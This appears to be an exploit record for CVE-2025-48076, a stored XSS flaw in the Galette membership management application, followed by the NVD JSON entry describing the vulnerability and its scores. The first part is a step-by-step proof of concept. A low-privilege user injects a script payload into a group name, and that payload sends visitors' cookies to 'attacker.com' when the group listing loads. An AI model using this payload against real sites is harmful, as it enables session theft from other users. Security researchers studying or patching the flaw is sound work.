CVE-2025-48076

// CVE-2025-48076 PoC - Stored XSS in Galette Group Name // Target: Galette <= 1.1.5.2 // Step 1: Login to Galette with low privilege account // POST /galette/login const loginData = { login: 'attacker_user', password: 'password123' }; // Step 2: Navigate to group edit page and inject XSS payload // GET /galette/groups/edit?id=1 // In the group name field, enter: const xssPayload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'; // Step 3: Submit the form // POST /galette/groups/edit const groupData = { group_name: xssPayload, group_desc: 'Malicious group' }; // When other users visit group listing page, the XSS will execute // GET /galette/groups // Payload triggers and sends cookies to attacker server

{"cve": {"id": "CVE-2025-48076", "sourceIdentifier": "[email protected]", "published": "2025-11-04T21:15:37.513", "lastModified": "2025-11-10T18:14:15.173", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Galette is a membership management web application for non profit organizations. Versions 1.1.5.2 and below allow a user to edit a group name and insert an XSS payload. This issue is fixed in version 1.2.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-87"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:galette:galette:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.2.0", "matchCriteriaId": "C73ECAC2-D9C6-439D-B19F-9D21D0A4FFAD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:galette:galette:1.2.0:alpha:*:*:*:*:*:*", "matchCriteriaId": "C5E49488-E480-415D-8E43-316B9FDA7606"}]}]}], "references": [{"url": "https://github.com/galette/galette/security/advisories/GHSA-ccwq-mxx3-chvh", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}